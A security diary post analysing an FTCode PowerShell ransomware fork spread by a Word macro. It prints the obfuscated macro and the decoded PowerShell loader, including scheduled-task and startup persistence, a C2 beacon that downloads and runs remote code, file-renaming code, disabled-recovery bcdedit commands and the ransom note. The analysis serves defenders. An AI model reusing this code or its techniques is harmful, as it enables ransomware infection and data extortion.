My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

A Fork of the FTCode Powershell Ransomware

Published: 2020-08-06. Last Updated: 2020-08-06 06:37:14 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Yesterday, I found a new malicious Powershell script that deserved to be analyzed due to the way it was dropped on the victim’s computer. As usual, the malware was delivered through a malicious Word document with a VBA macro. A first observation reveals that it’s a file less macro. The malicious Base64 code  is stored in multiples environment variables that are concatenated then executed through an IEX command:

Set osi = CreateObject("Wscript.shell")
Set wev = osi.Environment("Process")
wev("XXX0") = "JGVuY3J5cHQgPSAiNzY0OTJkMTExNjc0M2YwNDIzNDEzYjE2MDUwYTUzNDVNZ0I4QURFQVR3QXhBSElBYVFCRUFFMEFhQUJzQUZRQU1RQkxBSFF
BYUFCbEFFRUFjQUJ1QUdJQWFRQjRBSGNBUFFBOUFId0FaQUF6QURVQVlnQTJBR1VBTndBM0FERUFZUUEwQUdRQU1nQTNBR01BTmdCa0FEZ0FNZ0J
qQURjQVl3QXhBR1VBTWdBNUFEa0FNQUJtQUdRQU5BQTJBREFBTmdCaEFESUFOQUF6QUdFQU9RQmlBRElBTkFCakFHRUFNZ0JtQUdNQU1RQTNBRFl
BTXdBNUFEWUFNQUExQUdNQU9BQTJBR0lBWlFCbUFEZ0FPQUJsQURRQU9BQXhBR1FBTUFBNUFEZ0FaQUJqQURNQVlRQmxBRGdBT1FCbEFEWUFNd0J
sQURrQVl3QTNBREFBWkFBNEFEQUFNd0F4QURrQU13QmpBREFBWWdBekFETUFOd0F5QUdFQU5nQXlBRFFBTlFBeEFHVUFPQUF6QUdJQVpnQmpBR01
BWXdCaEFEQUFPUUJsQURjQU5nQTBBREFBTVFCbEFEa0FOd0F3QUdJQVl3QmtBRElBWkFBekFEZ0FNQUEzQUdZQU5RQXlBREVBWWdBNUFEQUFOd0J
oQURZQU5BQXlBRFVBTUFCbUFHRUFaQUEwQURBQU5nQTBBRElBWmdCaEFETUFNd0F4QUdJQVlRQTNBR01BTlFBeUFHVUFNZ0E1QURrQU9BQTRBR1V
BTndBMEFHWUFOQUJtQURRQU5BQTFBR1lBTXdCakFHSUFaUUEyQURnQVlnQTVBRFFBWmdCakFETUFOZ0JtQURFQVpRQXlBRE1BTUFBMEFEUUFaZ0E
1QUdRQVlnQTRBR1FBTlFBMUFHTUFZd0F4QURFQU1nQXdBRElBWVFBeUFEQUFOZ0JrQURRQU9RQTJBRElBWXdBM0FEY0FOd0JsQURrQVl3"
wev("XXX1") = "QTJBRE1BWmdCa0FHRUFaUUEwQUdJQU5BQTVBR0VBWXdBeUFHVUFPQUF5QURFQU1RQm1BREVBWkFCbEFHRUFZUUJqQURZQVlnQTBBRGtBWmdCaUF
ERUFNUUExQURjQU9RQTVBR0lBWkFCa0FEWUFNQUExQURNQVl3QTBBRE1BTXdCa0FHUUFNUUE0QUdFQVl3QmlBR1FBTkFCbUFEUUFOd0EwQURrQU5
RQXlBRElBWVFCaEFEZ0FPUUJsQURFQU5RQTNBRElBTVFBeEFEZ0FaUUJsQURrQU5BQTRBR1lBWmdBekFHRUFOUUJqQURZQU53QTFBREVBTWdBMkF
EZ0FNd0JsQUdFQU5BQmpBRE1BTUFBMEFHUUFaZ0EwQURjQU9RQXpBRE1BTVFBNEFHRUFaZ0E1QURrQU53QmlBRGNBTUFCaEFETUFNd0ExQURRQVp
BQTRBR1FBWkFBNUFHUUFOZ0F5QUdFQU1BQXdBR1FBWVFCbEFHUUFNUUF3QUdNQU53QTRBRFFBWlFBd0FEZ0FZUUF6QUdNQU9RQXdBRElBWkFBeEF
EQUFOUUEzQURRQU5RQmlBR0VBWmdCaEFHWUFPQUJqQUdFQU5nQmpBRE1BTkFCaEFEVUFOd0JsQURFQU1nQTVBR1lBWVFCbEFEWUFNd0F4QURrQVp
BQTFBR0VBTVFBMUFHSUFaQUJtQURJQU53QTRBRFVBWlFCaUFHRUFaQUJtQUdZQVl3QTRBREFBWmdBMkFHWUFaQUJsQURNQVpRQmhBRFlBTlFCaEF
EVUFaUUEyQURZQU9RQTJBRGdBWlFBMUFETUFNQUF3QURVQU1nQTRBRGtBWVFBeEFEVUFNUUE0QUdJQVlnQTRBREFBWWdCaEFHTUFaZ0EwQURrQU1
RQmlBRFFBTkFBNUFEVUFaZ0JqQURrQVlRQXlBR1lBTkFBNEFESUFOd0EzQURrQU5nQTJBRFVBWXdCbEFEQUFNUUJsQURFQU1nQmpBRGtB"

Up to 274 chunks of similar data are created and concatenated to generate the Base64 payload:

wev("XXX274") = "VGV4dElucHV0ICRlbmNyeXB0OwpoZWkgJERlY3J5cHRlZERhdGE="
XXX = "$env:XXX0+$env:XXX1+$env:XXX2+$env:XXX3+$env:XXX4+$env:XXX5+$env:XXX6+$env:XXX7+$env:XXX8+$env:XXX9+$env:XXX10+
$env:XXX11+$env:XXX12+$env:XXX13+$env:XXX14+$env:XXX15+$env:XXX16+$env:XXX17+$env:XXX18+$env:XXX19+$env:XXX20+$e
nv:XXX21+$env:XXX22+$env:XXX23+$env:XXX24+$env:XXX25+$env:XXX26+$env:XXX27+$env:XXX28+$env:XXX29+$env:XXX30+$env
:XXX31+$env:XXX32+$env:XXX33+$env:XXX34+$env:XXX35+$env:XXX36+$env:XXX37+$env:XXX38+$env:XXX39+$env:XXX40+$env:X
XX41+$env:XXX42+$env:XXX43+$env:XXX44+$env:XXX45+$env:XXX46+$env:XXX47+$env:XXX48+$env:XXX49+$env:XXX50+$env:XXX
51+$env:XXX52+$env:XXX53+$env:XXX54+$env:XXX55+$env:XXX56+$env:XXX57+$env:XXX58+$env:XXX59+$env:XXX60+$env:XXX61
+$env:XXX62+$env:XXX63+$env:XXX64+$env:XXX65+$env:XXX66+$env:XXX67+$env:XXX68+$env:XXX69+$env:XXX70+$env:XXX71+$
env:XXX72+$env:XXX73+$env:XXX74+$env:XXX75+$env:XXX76+$env:XXX77+$env:XXX78+$env:XXX79+$env:XXX80+$env:XXX81+$en
v:XXX82+$env:XXX83+$env:XXX84+$env:XXX85+$env:XXX86+$env:XXX87+$env:XXX88+$env:XXX89+$env:XXX90+$env:XXX91+$env:
XXX92"
...
osi.Run "powershell -noexit -c " & Chr(34) & "IeX ([System.Text.Encoding]::Unicode.GetString([system.Convert]::FromBase64String(" & XXX & ")));" & Chr(34), 1, True

Once the Base64 extracted and decoded, we have the first payload:

$encrypt = 
"76492d1116743f0423413b16050a5345MgB8ADEATwAxAHIAaQBEAE0AaABsAFQAMQBLAHQAaABlAEEAcABuAGIAaQB4AHcAPQA9AHwAZAAzADU
AYgA2AGUANwA3ADEAYQA0AGQAMgA3AGMANgBkADgAMgBjADcAYwAxAGUAMgA5ADkAMABmAGQANAA2ADAANgBhADIANAAzAGEAOQBiADIANABjAGE
AMgBmAGMAMQA3ADYAMwA5ADYAMAA1AGMAOAA2AGIAZQBmADgAOABlADQAOAAxAGQAMAA5ADgAZABjADMAYQBlADgAOQBlADYAMwBlADkAYwA3ADA
AZAA4ADAAMwAxADkAMwBjADAAYgAzADMANwAyAGEANgAyADQANQAxAGUAOAAzAGIAZgBjAGMAYwBhADAAOQBlADcANgA0ADAAMQBlADkANwAwAGI
AYwBkADIAZAAzADgAMAA3AGYANQAyADEAYgA5ADAANwBhADYANAAyADUAMABmAGEAZAA0ADAANgA0ADIAZgBhADMAMwAxAGIAYQA3AGMANQAyAGU
AMgA5ADkAOAA4AGUANwA0AGYANABmADQANAA1AGYAMwBjAGIAZQA2ADgAYgA5ADQAZgBjADMANgBmADEAZQAyADMAMAA0ADQAZgA5AGQAYgA4AGQ
ANQA1AGMAYwAxADEAMgAwADIAYQAyADAANgBkADQAOQA2ADIAYwA3ADcANwBlADkAYwA2ADMAZgBkAGEAZQA0AGIANAA5AGEAYwAyAGUAOAAyADE
AMQBmADEAZABlAGEAYQBjADYAYgA0ADkAZgBiADEAMQA1ADcAOQA5AGIAZABkADYAMAA1ADMAYwA0ADMAMwBkAGQAMQA4AGEAYwBiAGQANABmADQ
ANwA0ADkANQAyADIAYQBhADgAOQBlADEANQA3ADIAMQAxADgAZQBlADkANAA4AGYAZgAzAGEANQBjADYANwA1ADEAMgA2ADgAMwBlAGEANABjADM
AMAA0AGQAZgA0ADcAOQAzADMAMQA4AGEAZgA5ADkANwBiADcAMABhADMAMwA1ADQAZAA4AGQAZAA5AGQANgAyAGEAMAAwAGQAYQBlAGQAMQAwAGM
ANwA4ADQAZQAwADgAYQAzAGMAOQAwADIAZAAxADAANQA3ADQANQBiAGEAZgBhAGYAOABjAGEANgBjADMANABhADUANwBlADEAMgA5AGYAYQBlADY
AMwAxADkAZAA1AGEAMQA1AGIAZABmADIANwA4ADUAZQBiAGEAZABmAGYAYwA4ADAAZgA2AGYAZABlADMAZQBhADYANQBhADUAZQA2ADYAOQA2ADg
AZQA1ADMAMAAwADUAMgA4ADkAYQAxADUAMQA4AGIAYgA4ADAAYgBhAGMAZgA0ADkAMQBiADQANAA5ADUAZgBjADkAYQAyAGYANAA4ADIANwA3ADk
ANgA2ADUAYwBlADAAMQBlADEAMgBjADkANgAzADIAMwBlADAAYwBhAGIANgBlAGIAYQAzADIAZAA4ADEAYQA5ADUANQAwAGMANwAwADMAZABmADg
AZAA2ADQAZQA0AGYAZgBhADQAMQAxADIANQAzAGQAZAA2AGMAMwAyADEAOQA4AGMAMwBkAGIAYwAzADcAYwAxADEAYgA0AGEANAA4AGIANAA4ADA
AZAA1ADYANAA2AGMAZQAyADgAZAAzADAAOQBjADYAOABhAGMAOQA1ADEAMwBlADIAZQBiAGYAYwBlAGQANQBiAGYA..."

function hei($encrypt){
  $sipped = [system.Convert]::FromBase64String($encrypt);
  $unsipped = gdba($sipped);
  $sclipt = [System.Text.Encoding]::Unicode.GetString($unsipped);
  iex($sclipt);
}

Function Set-SecretKey {
  [CmdletBinding()]
  Param
  (
    [string]$Key
  )
  #Get key length.
  $Length = $Key.Length;  
  #Pad length.
  $Pad = 32-$Length;   
  #If the length is less than 16 or more than 32.
  If(($Length -lt 16) -or ($Length -gt 32))
  {
    #Throw exception.
    Throw "String must be between 16 and 32 characters";
  }   
  #Create a new ASCII encoding object.
  $Encoding = New-Object System.Text.ASCIIEncoding;
  #Get byte array.
  $Bytes = $Encoding.GetBytes($Key + "0" * $Pad)
  #Return byte array.
  Return $Bytes;
}
 
Function Get-EncryptedData {
  [CmdletBinding()]
  Param
  (
    $Key,
    $TextInput
  )
  #Decrypt the text input with the secret key.
  $Result = $TextInput | ConvertTo-SecureString -Key $Key | ForEach-Object {
 [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($_))};
  #Return the decrypted data.
  Return $Result;
}
 
$Key = Set-SecretKey -Key "YRTWHTRJUUYUYRKB";
$DecryptedData = Get-EncryptedData -Key $Key -TextInput $encrypt;
hei $DecryptedData

The second payload is decrypted and, again, passed to Invoke-Expression ("IEX"). We have another Base64-encoded data.  Let's go deeper and decode it to discover now some VBS code. The obfuscation technique used is simple but effective:

xatu = ""
gfjbx = 0
Sub tghyu
ivhze -370
ivhze -371
ivhze -363
ivhze -381
ivhze -368
...
ivhze -450
ivhze -446
ivhze -385
ivhze -423

End Sub
Function ivhze (suas)
  xatu = xatu + ( vazey( suas + vxiwh  ) )
End Function
Function vazey (suas)
  vazey = Replace(ejtva, "aiyh,", "vizta") + ( Chr(suas) ) + ""
End Function
  ejtva = ""
  vxiwh = 482
  tghyu
  CreateObject("WScript.Shell").Run xatu, gfjbx

You can spot the trick: the next payload is decoded, via ivhze(), one character at a time and apped to the 'xatu' variable and finally executed. Here is the deobfuscated code:

powershell -WindowStyle Hidden -c $a=[string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( 
'JGF6YWp1emRkID0gJGVudjpQVUJMSUMgKyAiXExpYnJhcmllcyIKaWYgKC1ub3QgKFRlc3QtUGF0aCAkYXphanV6ZGQpKSB7IG1kICRhemFqdXp
kZDsgfQokZHphanRhamFpID0gJGF6YWp1emRkICsgIlxXaW5kb3dzSW5kZXhpbmdTZXJ2aWNlLnZicyI7CiR5ZmZ1YWd6aXQgID0gIjEwMTQuMiI
7CiRieWFoeWpzaWIgPSAkZW52OnRlbXAgKyAiXEFGWDUwMDU4LnRtcCI7CiR0dXlidWF1eGZzICA9ICRhemFqdXpkZCArICJcdGh1bWJjYWNoZV8
2NC5kYiI7CiRteXVybHBvc3QgPSAkZmFsc2U7CiRmYWJ4d3h1YyA9ICJ3IjsKCmZ1bmN0aW9uIGlhbXdvcmsyeyBzYyAtUGF0aCAkYnlhaHlqc2l
iIC1WYWx1ZSAkKEdldC1EYXRlKTsgfTsKZnVuY3Rpb24gY3l4anVkZyggJHR1eXlzdWJzeSApewogIGlmKCAkdHV5eXN1YnN5IC1tYXRjaCAnT3V
...
zZTsKICBpZiggJGZmc2dlaXVkeGMubGVuZ3RoIC1uZSAxNiAgKXsgJHR3Ynh2dGJ6dHYsICRmZnNnZWl1ZHhjID0gIGJiYXp4YXp1ICR0cnVlOyB
9Cn1lbHNlewogICR0d2J4dnRienR2LCAkZmZzZ2VpdWR4YyA9ICBiYmF6eGF6dSAkdHJ1ZTsKfQokbXl1cmxwb3N0ID0gd2ZheHZ6ZDsKd2hpbGU
oICRmYWJ4d3h1YyApewogIGlhbXdvcmsyOwogIHRyeXsKICAgIGlmKCAkZmFieHd4dWMgLWFuZCAoJGZhYnh3eHVjLmxlbmd0aCAtZ3QgMzApICA
pewogICAgICBpZXggJGZhYnh3eHVjOwogICAgfTsKICB9Y2F0Y2h7IGN5eGp1ZGcgJF8uRXhjZXB0aW9uLk1lc3NhZ2U7IH07CiAgU3RhcnQtU2x
lZXAgLXMgMjgwOwogICRmYWJ4d3h1YyA9IHNlbmRwb3N0MjsKfTsKcmkgLVBhdGggJGJ5YWh5anNpYiAtRm9yY2U7Cg==' ) );iex $a;

Yes, again, a Powershell script with more Base64-encoded data! Here is the decoded script:

$azajuzdd = $env:PUBLIC + "\Libraries"
if (-not (Test-Path $azajuzdd)) { md $azajuzdd; }
$dzajtajai = $azajuzdd + "\WindowsIndexingService.vbs";
$yffuagzit  = "1014.2";
$byahyjsib = $env:temp + "\AFX50058.tmp";
$tuybuauxfs  = $azajuzdd + "\thumbcache_64.db";
$myurlpost = $false;
$fabxwxuc = "w";

function iamwork2{ sc -Path $byahyjsib -Value $(Get-Date); };
function cyxjudg( $tuyysubsy ){
  if( $tuyysubsy -match 'OutOfMemoryException' ){
    ri -Path $byahyjsib -Force;
    get-process powershell* | stop-process;
    exit;
  };
}

function sendpost2( $tuyysubsy ){
  if( !$myurlpost ){ return $false; };
  $sfyzgbw = New-Object System.Net.WebClient;
  $sfyzgbw.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  $sfyzgbw.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  $sfyzgbw.Encoding = [System.Text.Encoding]::UTF8;
  try{
    $wabhxji = $sfyzgbw.UploadString( $myurlpost, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$yffuagzit&guid=$twbxvtbztv&" + $tuyysubsy ) ) ) );
    $wabhxji = [string][System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( $wabhxji ) );
    if( !$fabxwxuc ){ return $false; }
    if( $ffsgeiudxc -eq $wabhxji.Substring(0,16) ){
      return $wabhxji.Substring(16,$wabhxji.length-16) ;
    }else{
      $fabxwxuc = $false;
      sendpost2 ("error=" + [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( $wabhxji ) ) );
    }
  }catch{
    cyxjudg $_.Exception.Message;
    $fabxwxuc = $false;
    $sfyzgbw.UploadString( $myurlpost, "l="+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( "v=$yffuagzit&guid=$twbxvtbztv&error=sendpost2:" + $myurlpost+":"+$wabhxji +":"+ $_.Exception.Message ) ) ) );
  };
  return $false;
};

function wfaxvzd( $idtutvas ){
  $hzveitdjuj = "hxxp://cdn[.]danielrmurray[.]com/";
  "hee","xu1","hs0","jd5","mqf" | %{ $hzveitdjuj += ","+"http://"+ ( [Convert]::ToBase64String( [System.Text.Encoding]::UTF8.GetBytes( $_+ $(Get-Date -UFormat "%y%m%V") ) ).toLower() ) +".top/"; };
  $hzveitdjuj.split(",") | %{
    if( !$myurlpost ){
      $myurlpost = $_;
      if( !(sendpost2 ($idtutvas + "&domen=$myurlpost" )) ){ $myurlpost = $false; };
      Start-Sleep -s 5;
    }
  };
  if( $idtutvas -match "status=register" ){
    return "ok";
  }else{
    return $myurlpost;
  } 
};

if ( Test-Path $byahyjsib ){
  if ( ( ( NEW-TIMESPAN -Start ((Get-ChildItem $byahyjsib ).CreationTime) -End (Get-Date)).Minutes ) -gt 15 ){
    ri -Path $byahyjsib -Force;
    try{ get-process powershell* | stop-process }catch{};
    exit;
  }else{ exit; };
};

function bbazxazu( $uhzghaygf ){
  if( $uhzghaygf ){
    sc -Path $tuybuauxfs -Value ( [guid]::NewGuid(), ( [guid]::NewGuid() -replace '-','' ).Substring(0,16)  -join ',' ) -Force;  
    gi $tuybuauxfs -Force |  %{ $_.Attributes = "Hidden" };
    try{
      $xbgeechhvd = [Environment]::GetFolderPath('Startup') + '\WindowsApplicationService.lnk';
      if( -not ( Test-Path $xbgeechhvd ) ){
        $awugjdzsz = New-Object -ComObject ('WScript.Shell');
        $fzxwzjvv = $awugjdzsz.CreateShortcut( $xbgeechhvd  );
        $fzxwzjvv.TargetPath = $dzajtajai;
        $fzxwzjvv.WorkingDirectory = $azajuzdd;
        $fzxwzjvv.WindowStyle = 1;
        $fzxwzjvv.Description = 'Windows Application Service';
        $fzxwzjvv.Save();
      }
    }catch{};
    $twbxvtbztv, $ffsgeiudxc = (get-content $tuybuauxfs).split(',');
    $gdigfeyf = "status=register&ssid=$ffsgeiudxc&os="+([string]$PSVersionTable.BuildVersion)+"&psver="+( ( (Get-Host).Version ).Major )+ "&comp_name=" + ((Get-WmiObject -class Win32_ComputerSystem -Property Name).Name.trim() );
    if( Test-Path ( $azajuzdd + "\thumbcache_33.db" ) ){
      ri -Path ( $azajuzdd + "\thumbcache_33.db" ), ( $azajuzdd + "\WindowsIndexingService.js" ) -Force;
      try{ schtasks.exe /delete /TN "WindowsIndexingService" /f }catch{}
      try{ schtasks.exe /delete /TN "Windows Indexing Service" /f }catch{}
      if( Test-Path ( [Environment]::GetFolderPath('Startup') + '\WindowsIndexingService.lnk' )  ){
        ri -Path ( [Environment]::GetFolderPath('Startup') + '\WindowsIndexingService.lnk' ) -Force;
      }
    }
    $wccgavfse = wfaxvzd $gdigfeyf;
    if( $wccgavfse -ne "ok"){
      ri -Path $tuybuauxfs -Force;
      exit;
    }
  }
  return (get-content $tuybuauxfs).split(',');
}
$ijhtvxyi = (schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 17 /du 23:59 /TR $dzajtajai); 
if ( Test-Path $tuybuauxfs ){
  $twbxvtbztv, $ffsgeiudxc =  bbazxazu $false;
  if( $ffsgeiudxc.length -ne 16  ){ $twbxvtbztv, $ffsgeiudxc =  bbazxazu $true; }
}else{
  $twbxvtbztv, $ffsgeiudxc =  bbazxazu $true;
}
$myurlpost = wfaxvzd;
while( $fabxwxuc ){
  iamwork2;
  try{
    if( $fabxwxuc -and ($fabxwxuc.length -gt 30)  ){
      iex $fabxwxuc;
    };
  }catch{ cyxjudg $_.Exception.Message; };
  Start-Sleep -s 280;
  $fabxwxuc = sendpost2;
};
ri -Path $byahyjsib -Force;

This script is stored in:

$env:PUBLIC + "\Libraries";   if (-not (Test-Path $vuzyfjvdhd)) { md $vuzyfjvdhd; }   $tcfshdx = $vuzyfjvdhd + "\WindowsIndexingService.vbs

And persistence is added through a scheduled task:

schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 17 /du 23:59 /TR $tcfshdx

After a quick analyzis, the malicious code is a ransomware. I checked deeper and found a lot of code similarities with the FTCODE ransomware[1] that was first spotted in 2013!

Here is the notice found in the Powershell code:

<h1>All your files was encrypted!</h1>
<h2  style='color:red'><b>Yes, You can Decrypt Files Encrypted!!!</b></h2>
<p>Your personal ID: <b>%guid%</b></p>
<p>1. Download Tor browser - <a href='https://www.torproject.org/download/'>https://www.torproject.org/download/</a></p>
<p>2. Install Tor browser</p>
<p>3. Open Tor Browser</p>
<p>4. Open link in TOR browser:  <b>http://qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd.onion/?guid=%guid%</b></p>
<p>5. Follow the instructions on this page</p>
<h2>***** Warning*****</h2>
<p>Do not rename files</p>
<p>Do not try to back your data using third-party software, it may cause permanent data loss(If you do not believe us, and still try to - make copies of all files so that we can help you if third-party software harms them)</p>
<p>As evidence, we can for free back one file</p>
<p>Decoders of other users is not suitable to back your files - encryption key is created on your computer when the program is launched - it is unique.</p>

What is different than the good old FTCODE? The extension of encrypted files is generated dynamically:

$cwteiht = ([string][guid]::NewGuid()).Substring(0,6);
...
$bcbyfiwf = $_.Name+".$cwteiht";             
try{ 
  ren -Path $($_.FullName) -NewName $bcbyfiwf -Force; 
}

Also, the malware author commented out some piece of code (why not just delete the unwanted lines?):

<#    
$tusdweaeu = uyzicich ("guid=$auiduddy&ext=$cwteiht&ek=$ifsxfwbi&r0=" + ([uri]::EscapeDataString($fsxbxad)) + "&s0=" + ([uri]::EscapeDataString($wcaebjz)) +"&");   
if( $tusdweaeu ){     
  sc -Path $yhfcdgjwz -Value $(Get-Date);   
}
else{      
  ri -Path $yhfcdgjwz -Force;     
  exit;   
}   
#>   
...
<#
xfttjicedt('bcdedit /set wxcvuhgv bootstatuspolicy ignoreallfailures');   
xfttjicedt('bcdedit /set wxcvuhgv recoveryenabled no');
#>   

The initial script has still a nice VT score (4/57)![2]. The ransomware in itself is not new but the path used to deliver it was interesting.

[1] https://www.bleepingcomputer.com/news/security/ftcode-powershell-ransomware-resurfaces-in-spam-campaign/
[2] https://www.virustotal.com/gui/file/730a1230f26b06666c983eaae92577fe4c6e4a00179851e0f6b459f2e3839092/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments


Diary Archives